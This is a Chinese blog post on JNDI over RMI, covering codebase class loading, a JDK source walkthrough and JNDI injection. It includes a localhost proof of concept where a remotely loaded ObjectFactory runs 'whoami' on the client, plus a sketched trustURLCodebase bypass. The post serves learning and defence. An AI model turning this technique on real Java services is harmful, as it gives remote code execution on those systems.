JNDI With RMI

JNDI With RMI

JNDI with RMI

JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),jndi类似于一个索引中心,允许客户端通过name发现和查找数据和对象,并将这些对象加载到本地并运行。

img

JNDI本事只是一种接口,具体的实现有:

  • RMI: 远程方法调用
  • CORBA: 通用对象请求代理体系结构
  • LDAP: 轻型目录访问协议
  • DNS: 域名服务

Codebase

CodeBase 官方文档

Codebase是JVM要加载类文件时的位置,其中 CLASSPATRH 被当作本地代码库,即从本地磁盘加载。除了使用本地加载方式,java还可以通过序列化动态地从远程加载类并使用。

在该方式下,客户端JVM直接通过访问资源服务器(一般为http或者ftp服务器)下载class文件,通过反射加载到本地并执行相应代码。

image-20220114113036981

在该种方式下,要加载的远程类及其所依赖的类文件必须可被客户端访问。

在java RMI协议中使用Codebase

RMI机制中交互的数据是序列化形式传输的,但是传输的只是对象的数据内容,RMI本身并不会传递类的代码。当本地没有该对象的类定义时,RMI提供了一些方法可以远程加载类,也就是RMI动态加载类的特性。

当对象发送序列化数据时,会在序列化流中附加上Codebase的信息,这个信息告诉接收方到什么地方寻找该对象的执行代码。Codebase实际上是一个URL表,该URL上存放了接收方需要的类文件。

Codebase设定

远程对象的代码库由远程对象的服务器通过设置系统属性 java.rmi.server.codebase 来指定。

在JVM启动时:

  • 如果可下载类的位置在名为“webvector”的 HTTP 服务器上,在目录“export”(在 web 根目录下),codebase 属性设置如下所示:

    java -Djava.rmi.server.codebase=http://webvector/export/
    

    注意:当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在对应目录下查询类文件。

  • 如果可下载类的位置在名为“webline”的 HTTP 服务器上,在名为“mystuff.jar”的 JAR 文件中,在目录“public”(在 web 根目录下),codebase 属性设置如下所示:

    java -Djava.rmi.server.codebase=http://webline/public/mystuff.jar
    
  • 如果可下载类的位置已被分成两个 JAR 文件,“myStuff.jar”和“myOtherStuff.jar”。如果这些 JAR 文件位于不同的服务器上(名为“webfront”和“webwave”),codebase`属性设置如下所示:

    java -Djava.rmi.server.codebase="http://webfront/myStuff.jar http://webwave/myOtherStuff.jar"
    

或者在代码中使用 System#setProperty 方法设置配置:

System.setProperty("java.rmi.server.codebase", "ip[:port]/path [other,..]");

注意:JVM首先会在 CLASSPATH 中搜索要加载对象,当找到之后便不会进行远程加载过程。

限制

在JDK 7u216u45 版本之后,System.properties 中的 java.rmi.server.useCodebaseOnly 修改为 false,也即只能从预配置的 codebase 中加载类定义。

在更之后的版本,jdk采取 trustCodebase 属性来限制jndi的使用,该属性不再被使用。

RMI实现JNDI过程
  1. 远程对象的代码库由远程对象的服务器通过设置 java.rmi.server.codebase 属性来指定。RMI serverRMI resistry 注册一个绑定名称的远程对象,之后 RMI server 通过一个 remote object reference 来表示该远程对象的资源位置。

  2. RMI client 请求一个 remote object reference,引用(远程对象的stub instance)是客户端用来对远程对象进行远程方法调用的对象。

  3. RMI server 返回一个被请求的远程对象的 reference (the stub instance).

    illustrates the first 5 steps of the stub downloadling process, as listed below

  4. Client 向 Codebase 请求目标Class定义,该 Codebase 是根据客户端之前请求的 reference (the stub instance) 来获取的。

  5. stub 所代表的的类定义(以及它需要的任何其他类)被下载到客户端。

    说明将未知子类型作为方法参数传递,如上文和下文所述。

class文件查找方式

如果所需的类文件在Webserver的根目录下,那么设置Codebase的命令行参数如下:

java -Djava.rmi.server.codebase=protocol://ip[:port]/  .. other args

当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件。

如果包含多个class文件,则客户端会分多次下载对应class文件,如果找不到客户端会抛出 NoClassDefError

例如:如果传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件:

protocol://ip[:port]/com/project/test.class

:使用wireshark查看Client加载多个class文件时的http请求:

image-20211211232421116

如果项目被打包为jar,则需要在url中指定该jar包的路径,且客户端会下载整个jar包。

-Djava.rmi.server.codebase=protocol://ip[:port]/project.jar

:客户端请求的class被包含在某个jar包里:

使用wireshark查看Client加载整个jar包时的http请求:

image-20211211231436818

RMI 实现的 JNDI 例子

远程对象

编写要被远程载入的类:CmdExecutor类:该代码在构造时,执行传入的命令,将文本输出到执行方的终端

package exec;

import java.io.*;

public class CmdExecutor {
    String cmd=null;

    public CmdExecutor(String cmd) throws Exception {
        System.out.println("Cmd Executor is constructed. cmd: " +cmd);
        this.cmd = cmd;
        exec();  .
    }

    public void exec() {
        final Process process;
        process = Runtime.getRuntime().exec(cmd);
        try {
            int value=process.waitFor();
            Reader reader =new InputStreamReader(process.getInputStream());
            BufferedReader bf = new BufferedReader(reader);
            String line = null;
            try {
                while ((line=bf.readLine())!=null){
                    System.out.println(line);
                }
            }catch (IOException e){
                System.err.println("some err happened: "+ e);
            }
        } catch (IOException | InterruptedException e) {
            System.err.println("some err happened: "+ e);
        }
    }
}

实际上客户端并不是直接通过获取工作类,而是需要一个实现了接口 ObjectFactory 的工厂类去实例化一个真实的工作类对象:该工厂类实例化一个 CmdExecutor,让该实例化对象在构造时就执行 whoami 命令;

import exec.CmdExecutor;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class ExecutorFactory implements ObjectFactory {
    public ExecutorFactory(){
        System.out.println("ExecutorFactoryis constructed.");
    }
    
    @Override
    public Object getObjectInstance(Object o, Name name, Context context, Hashtable<?, ?> hashtable) throws Exception {
        System.out.println("generating a new CmdExecutor...");
        return new CmdExecutor("whoami");
    }
}

之后将编译好的class文件或者打包好的jar包放在web服务器中(注意路径):

image-20211212142727475

开启rim服务端

编写服务端,创建一个注册中心,将 name 映射到 obj:

package server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import javax.naming.Reference;
import java.rmi.registry.Registry;

public class RefRegister{
    public void start(int port) throws Exception{
        // 创建一个注册中心,以port作为端口
        Registry registry = LocateRegistry.createRegistry(port);
        Reference executorRef  = new Reference("remote.exec.CmdExecutor", "remote.exec.ExecutorFactory", "http://127.0.0.1:8080/rmi-server.jar");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(executorRef);

        // 将Executor类绑定到 rmi://127.0.0.1:1099/exec 上
        System.out.print("Binding 'refObjWrapper' to 'rim://127.0.0.1:"+port+"/'... ");
        registry.bind("exec", refObjWrapper);
        System.out.println("Successful");
    }
    
    public static void main(String[] args) throws Exception {
        new RefRegister().start(1099);
    }
}

以上代码是开启1079端口运行rim服务,并将 ExecutorFactory 类绑定到与名字:exec 相绑定。

rmi协议通过将该Reference对象序列化,并传输至客户端,以此客户端得知想获取的资源位置。

这里是把hacker-service项目打包成jar文件,所以 CmdExecutor 需要映射到该jar文件的路径。

执行Server类的psvm。(public static void main),启动RMI服务。

客户端获取并加载目标class对象

客户端代码:

package client;

import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        String uri = "rmi://127.0.0.1:1079/exec";
        Context ctx = new InitialContext();
        Object obj = ctx.lookup(uri);
        System.out.println(obj.getClass());
    }
}
解除版本限制
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

这两个语句的作用是解除 rmi 与 ldap 的加载远程类Codebase的限制。

如果不设置 "com.sun.jndi.rmi.object.trustURLCodebase""true",会抛出以下错误:

Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
	at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
	at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at client.Client.run(Client.java:12)
	at Application.main(Application.java:4)

即默认不信任指定的Codebase;

如果不设置 "com.sun.jndi.ldap.object.trustURLCodebase""true" ,则 ctx.lookup(uri) 会返回一个javax.naming.Reference 对象,而不是真正的预期class实例,原因当获取 Reference 对象并解析资源位置时,在调用对应协议获取真正的资源之前会先对其进行检查。

执行Client类的psvm,输出如下:

➜  java client.Client
ExecutorFactory is constructed.
generating a new CmdExecutor...
Cmd Executor is constructed. cmd: whoami
exec.CmdExecutor ==> whoami: niss
class exec.CmdExecutor
  1. 远程工厂类首先被实例化。
  2. 工厂类的 getObjectInstance 被调用。
  3. 接口方法返回一个 exec.CmdExecutor 对象,并在构造方法中执行 whoami命令。

如果以root权限运行客户端:

➜  sudo java client.Client
[sudo] password for niss: 
ExecutorFactoryis constructed.
generating a new CmdExecutor...
Cmd Executor is constructed. cmd: whoami
exec.CmdExecutor ==> whoami: root
class exec.CmdExecutor

可以看到客户端所获取的类是完完全全以本地方式运行的

源码解析

jdk \(1.8.0\_322\)

相关类

RefAddr

javax.naming.RefAddr 用于 Reference 中的类定义资源所在地址的抽象。

该类为抽象类,需要实现 getContent() 方法;

image-20220325020347121

最常用的为 StringRefAddr

public class StringRefAddr extends RefAddr {
    private String contents;
    public StringRefAddr(String addrType, String addr) {
        super(addrType);
        contents = addr;
    }
    public Object getContent() {return contents;}
    private static final long serialVersionUID = -8913762495138505527L;
}
  • contents:具体的地址;
Reference

javax.naming.Reference

image-20220325015605042

该类包含4个属性:

  • className:被引用的远程调用类名;
  • all:被引用的类所在地址向量;
  • classFactory:用于生成该类的工厂类名;
  • classFactoryLocation:工厂类地址;

注意:第三个构造方法为 Reference(ClassName, classFactory, classFactoryLocation) ,并没有设置 RefAddr

RemoteRefrence

com.sun.jndi.rmi.registry.RemoteReference 接口,用于获取 Reference 对象。

public interface RemoteReference extends Remote {
        Reference getReference() throws NamingException, RemoteException;
}
ReferenceWrapper

com.sun.jndi.rmi.registry.ReferenceWrapper 类,作为 Reference 类的包装类,实现了 RemoteReference接口;并且其继承于 UnicastRemoteObject ,使其可以作为Stub并远程传输 。

public class ReferenceWrapper
        extends UnicastRemoteObject
        implements RemoteReference
{
    protected Reference wrappee;        // reference being wrapped

    public ReferenceWrapper(Reference wrappee)
            throws NamingException, RemoteException
    {
        this.wrappee = wrappee;
    }

    public Reference getReference() throws RemoteException {
        return wrappee;
    }

    private static final long serialVersionUID = 6078186197417641456L;
}

:利用 register#lookup(String) 方法获取传输到客户端的类型,发现客户端获取的为 ReferenceWrapper_Stub,可以通过反射调用 getReference 方法获取真实的 Reference

Registry registry = LocateRegistry.getRegistry("127.0.0.1", port, Socket::new);
System.out.println(registry.getClass());
Object wrapper = registry.lookup("exec");
System.out.println(Arrays.toString(wrapper.getClass().getInterfaces()));
Method method = wrapper.getClass().getDeclaredMethod("getReference");
Reference ref = (Reference) method.invoke(wrapper);
System.out.println(ref.getClass());
System.out.println("\t"+ref.getClassName()+"\n\t"+ref.getFactoryClassName()+"\n\t"+ref.getFactoryClassLocation()+"\n\t");



class com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
[interface com.sun.jndi.rmi.registry.RemoteReference, interface java.rmi.Remote]
class javax.naming.Reference
	remote.exec.CmdExecutor
	remote.exec.ExecutorFactory
	http://127.0.0.1:8080/rmi-server.jar
ObjectFactory

javax.naming.spi.ObjectFactory

用于创建客户端要获取的对象,其中包含客户端寻找远程对象的 nameContextenviroment

public interface ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable<?,?> environment)
        throws Exception;
}

在上面的例子中,依次为:

Reference Class Name: remote.exec.CmdExecutor

exec
com.sun.jndi.rmi.registry.RegistryContext@27f8302d
{}

其中 obj 是一个 Reference 实例。

lookup 加载过程

大概的调用栈:

<init>:217, VersionHelper12$7 (com.sun.naming.internal)
getContextClassLoader:216, VersionHelper12 (com.sun.naming.internal)
loadClassWithoutInit:65, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:148, NamingManager (javax.naming.spi)
getObjectInstance:330, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
run:12, Client (client)
main:5, Application

lookup 方法会调用 javax.naming.InitialContext#getURLOrDefaultInitCtx(java.lang.String) 方法,先判断传入的协议类型,再去获取一个Context。

image-20220325132029844

可以看出根据传入的 rmi://127.0.0.1:1079/exec,该方法返回了一个 rmiURLContext 对象。

接下来便会根据协议路径来尝试获取 Reference 对象。

根据协议获取的 rmiURLContext 对象的 lookup 方法中,会对协议进行解析,获取对应的 Context 以及 协议URL中的各种字段。

最终会进入 ctx.lookup 方法:

image-20220325132346184

RegistryContext

进入方法,发现获取的 Context 的实现类为 RegistryContext

public class RegistryContext implements Context, Referenceable {

    private Hashtable<String, Object> environment;
    private Registry registry;
    private String host;
    private int port;
    private static final NameParser nameParser = new AtomicNameParser();
    private static final String SOCKET_FACTORY = "com.sun.jndi.rmi.factory.socket";
    /**
     * Determines whether classes may be loaded from an arbitrary URL code base.
     */
    static final boolean trustURLCodebase;
    static {
        // System property to control whether classes may be loaded from an
        // arbitrary URL codebase
        PrivilegedAction<String> act = () -> System.getProperty(
            "com.sun.jndi.rmi.object.trustURLCodebase", "false");
        String trust = AccessController.doPrivileged(act);
        trustURLCodebase = "true".equalsIgnoreCase(trust);
    }

    Reference reference = null; // ref used to create this context, if any

    // Environment property that, if set, indicates that a security
    // manager should be installed (if none is already in place).
    public static final String SECURITY_MGR =
            "java.naming.rmi.security.manager";
    ...

该类中包含一个静态代码快,用于获取系统属性 com.sun.jndi.rmi.object.trustURLCodebase 判断是否为 "true",并将结果赋值给属性 trustURLCodebase

该属性默认为 false 是在 JDK 6u141JDK 7u131JDK 8u121 被修改的:

image-20220403025806876

https://www.oracle.com/java/technologies/javase/6-relnotes.html#R160_141

https://www.oracle.com/java/technologies/javase/7u21-relnotes.html#rmichanges

https://www.oracle.com/java/technologies/javase/8u121-relnotes.html

通过 rmi 远程调用 ReferenceWrapper

在该类的构造方法中,通过前面对协议URL解析出的host、port来获取一个 Registry (实际上是一个 RegisterImpl_Stub,正好符合RMI的调用过程);

之后通过 registry.lookup 方法获取服务端绑定的远程对象的引用包装 ReferenceWrapper(实际上是 ReferenceWrapper_Stub):

image-20220325141659126

如果未找到,之后调用 this.decodeObject 方法,根据 Reference 提供的信息来获取真正的类资源

decodeObject

image-20220325142512607

该方法会判断之前 registry.lookup 的返回对象是否为 RemoteReference 接口的实现类。由于是 ReferenceWrappe_Stub 所以条件为真。调用接口方法 getReference 获取真正的 Reference 对象: ref

trustURLCodebase

之后进入条件判断 ref 不为 nullref.getFactoryClassLocation 不为 null ,且 trustURLCodefalse,之后会抛出 ConfigurationException

这个 ref.getFactoryClassLocation 是构造 Reference 的第三个参数,即HTTP URL地址。

这也是系统属性 com.sun.jndi.rmi.object.trustURLCodebase 真正起作用的地方,如果构造 Reference没有设置 factoryLocation,那么只有设置该属性为 true 之后才不会进入这段代码,导致抛出异常。

InitialContext context = new InitialContext();
Object obj = context.lookup("rmi://127.0.0.1:1099/exec");

Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
	at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
	at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)

之后进入 NamingMannager.getObjectInstance 方法。

NamingMannager#getObjectInstance

方法定义

image-20220325143646184

image-20220325143844405

判断 refInfo 类型为 Reference 后,通过 ref.getFactoryClassName 方法获取远程工厂类名。

之后进入 getObjectFactoryFormReference 来获取工厂类Class定义。其实该过程最后调用了 Version12#loadClass

NamingMannage#getObjectFactoryFormReference

首先会用当前的 ClassLoader 去加载工厂类:

image-20220325144110904

VersionHelper12 类型对象 helper 首先会尝试 loadClassWithoutInit,而其最终调用 Class.forName 去加载工厂类:

image-20220325144206994

类加载器类型为 sun.misc.Luncher

本地工厂类加载

由于 java 的双亲委派机制,会将 loadClass 方法不断委托到 parent (父-类加载器),最终委托到 BootStrapLoader由于 remote.exec.ExecutoryFactory 是网络资源,不可能在本地 Classpath 中找到,因此会返回 null

image-20220325144546283

之后调用 findClass 去从外部资源中寻找Class定义:

image-20220325144932820

URLClassLoader 也找不到该类的定义,抛出异常 ClassNotFoundExecption

image-20220325145202948

虽然抛出了异常,但是在 catch 块中,且没进行处理。

未找到并返回

返回到 getObjectFactoryFromReference 中,尝试利用 helper.loadClass 加载工厂类:

image-20220325145437375

这里解释了为什么rmi方式的jndi会优先从本地classpath加载类

(补充)本地工厂类加载(Ref 中 factoryLocation 为 null 时)

这是在 ReferencefactoryLocation 为 null的情况下,通过了 trustURLCodebase 的判断之后,才会有的过程。

如果能通过 loadClass 从本地获取工厂类,那之后会通过 NamingMannager#getObjectInstance 来尝试获取工厂类,如果成功获取工厂类 Class,则无参构造工厂类实例:

image-20220404005050238

此时返回的factory不为null,通过调用接口生成目标实例,并返回给最外层应用:

image-20220404005230100

也就是如果 classFactory 在本地中存在,那么就不会有之后的远程加载了。(既然factory存在,那么目标class也一定存在,不如就不会通过编译了。)

这时发现根本不会受到 trustURLCodebase 属性的限制,于是可以利用本地的 ObjectFactory 加载实例,即服务端构造 Reference 时,将 factoryLocation 设为 null,并且 classNamefactoryClassName 设为而客户端拥有的对应类,即可绕过属性限制。现在的问题就是如果找到适合的类。

VersionHelper12

VersionHelper was used by JNDI to accommodate differences between JDK 1.1.x and the Java 2 platform. As this is no longer necessary since JNDI's inclusion in the platform, this class currently serves as a set of utilities for performing system-level things, such as class-loading and reading system properties.

总之该类是一个用于在JDNI下,加载类资源的一个工具类。

注意:不只是 rmi方式的JNDI,其它方式实现的JNDI也会用到该类。

final class VersionHelper12 extends VersionHelper {

    // Disallow external from creating one of these.
    VersionHelper12() {
    }

    public Class<?> loadClass(String className) throws ClassNotFoundException {
        return loadClass(className, getContextClassLoader());
    }

    public Class<?> loadClassWithoutInit(String className) throws ClassNotFoundException {
        return loadClass(className, false, getContextClassLoader());
    }

    /**
     * Determines whether classes may be loaded from an arbitrary URL code base.
     */
    private static final String TRUST_URL_CODEBASE_PROPERTY =
            "com.sun.jndi.ldap.object.trustURLCodebase";
    private static final String trustURLCodebase =
            AccessController.doPrivileged(
                new PrivilegedAction<String>() {
                    public String run() {
                        try {
                        return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
                            "false");
                        } catch (SecurityException e) {
                        return "false";
                        }
                    }
                }
            );

VersionHelper12 中,存在静态属性 trustURLCodebase(从系统属性中获取):而在之后的 loadClass(String className, String codebae) 方法中也会进行判断,是否为 true

image-20220325150356277

这里才是系统属性 com.sun.jndi.ldap.object.trustURLCodebase 真正起作用的地方,必须设置为 true 才能进入之后的类加载过程。否则返回null,最终导致 RegestryContext#getObjectInstance 方法返回 refInfo

image-20220325153825080

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
InitialContext context = new InitialContext();
Object obj = context.lookup("rmi://127.0.0.1:1099/exec");
System.out.println(obj.getClass());

class javax.naming.Reference

之后就不会有远程加载的过程了。

JDK 6u2117u2018u19111.0.1 之后该属性默认为 "FALSE"

之后通过方法 getUrlArray(String codebase) 方法来获取一个 URL 数组。

这也就解释了为什么在定义 codebase 时,可以使用空格分割,从而传递多个 codebase

之后获取一个 URLClassLoader ,最后调用 loadClass 方法,利用该 URLClassLoader 通过 http 加载工厂类:

image-20220325154356934

所以属性 java.rmi.server.useCodebaseOnly 不会限制RMI JNDI的使用。

最终成功加载类定义后,返回到 getObjectFactoryFromReference,调用 clas.newInstance 方法生成一个工厂类实例

image-20220325151255130

image-20220325151333292

远程对象的实例生成

终于到最后一步了,前面的 getObjectFactoryFromReference 方法结束后,返回工厂类实例,之后调用接口 getObjectInstance 方法,生成一个新的远程对象:

image-20220325152006722

发现IDEA的debug已经定位到jar包的资源:

image-20220325152041025

为了生成 CmdExecutor,之后还会尝试使用 URLClassLoader 去加载该类定义:

image-20220325152330935

经历一系列套娃 loadClass 后,CmdExecutor 终于被成功加载,并实例化:

image-20220325152443387

之后各种返回,将ExecutorFactory 实例生成的 CmdExecutor 实例返回:

image-20220325152521295

Jndi注入

事实上如果java代码中,用户的输入与类的加载(InitialContext#lookup)相关,那么很可能用户输入一个自己编写的jndi服务地址,并且用户将想执行的代码编写至一个class文件中,最终服务器将会加载用户指定的类,并执行对应的构造方法或者其他方法。

当然以上都是手动在客户端代码中解除了 trustURLCodebase 限制之后的效果,而在java1.8之后,虽然jdk默认禁止加载远程class,但依然存在jdni注入威胁。

JDK 5U456U457u218u121 及其之后 java.rmi.server.useCodebaseOnly 默认值为 "true".

JDK 6u1327u1228u113 及其之后 com.sun.jndi.rmi.object.trustURLCodebase 默认值为"false".

JDK 11.0.18u1917u2016u211 及其之后 com.sun.jndi.ldap.object.trustURLCodebase 默认值为 "false".

image.png


参考

posted @ 2022-03-25 16:03  NIShoushun  阅读(340)  评论(0编辑  收藏  举报